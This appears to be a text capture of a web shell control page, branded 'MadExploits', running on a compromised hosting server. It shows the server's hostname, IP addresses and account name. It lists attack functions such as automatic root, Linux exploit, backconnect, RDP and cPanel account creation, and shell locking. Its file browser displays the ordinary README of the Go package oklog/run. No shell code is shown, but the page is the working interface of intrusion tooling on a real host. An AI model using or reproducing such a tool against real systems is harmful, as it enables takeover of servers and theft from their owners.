Linux id-dci-web1412.main-hosting.eu 5.14.0-611.20.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Jan 14 06:35:04 EST 2026 x86_64
LiteSpeed
: 2a02:4780:6:1512:0:19fc:adf1:2 | : 216.73.216.85
Cant Read [ /etc/named.conf ]
8.1.34
u435990001
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
opt /
go /
pkg /
mod /
github.com /
oklog /
run@v1.1.0 /
[ HOME SHELL ]
Name
Size
Permission
Action
.github
[ DIR ]
dr-xr-xr-x
.gitignore
275
B
-r--r--r--
LICENSE
11.09
KB
-r--r--r--
README.md
2.49
KB
-r--r--r--
actors.go
949
B
-r--r--r--
example_test.go
2.16
KB
-r--r--r--
go.mod
37
B
-r--r--r--
group.go
1.84
KB
-r--r--r--
group_test.go
1.2
KB
-r--r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : README.md
# run [](https://godoc.org/github.com/oklog/run) [](https://github.com/oklog/run/actions?query=workflow%3ATest) [](https://goreportcard.com/report/github.com/oklog/run) [](https://raw.githubusercontent.com/oklog/run/master/LICENSE) run.Group is a universal mechanism to manage goroutine lifecycles. Create a zero-value run.Group, and then add actors to it. Actors are defined as a pair of functions: an **execute** function, which should run synchronously; and an **interrupt** function, which, when invoked, should cause the execute function to return. Finally, invoke Run, which concurrently runs all of the actors, waits until the first actor exits, invokes the interrupt functions, and finally returns control to the caller only once all actors have returned. This general-purpose API allows callers to model pretty much any runnable task, and achieve well-defined lifecycle semantics for the group. run.Group was written to manage component lifecycles in func main for [OK Log](https://github.com/oklog/oklog). But it's useful in any circumstance where you need to orchestrate multiple goroutines as a unit whole. [Click here](https://www.youtube.com/watch?v=LHe1Cb_Ud_M&t=15m45s) to see a video of a talk where run.Group is described. ## Examples ### context.Context ```go ctx, cancel := context.WithCancel(context.Background()) g.Add(func() error { return myProcess(ctx, ...) }, func(error) { cancel() }) ``` ### net.Listener ```go ln, _ := net.Listen("tcp", ":8080") g.Add(func() error { return http.Serve(ln, nil) }, func(error) { ln.Close() }) ``` ### io.ReadCloser ```go var conn io.ReadCloser = ... g.Add(func() error { s := bufio.NewScanner(conn) for s.Scan() { println(s.Text()) } return s.Err() }, func(error) { conn.Close() }) ``` ## Comparisons Package run is somewhat similar to package [errgroup](https://godoc.org/golang.org/x/sync/errgroup), except it doesn't require actor goroutines to understand context semantics. It's somewhat similar to package [tomb.v1](https://godoc.org/gopkg.in/tomb.v1) or [tomb.v2](https://godoc.org/gopkg.in/tomb.v2), except it has a much smaller API surface, delegating e.g. staged shutdown of goroutines to the caller.
Close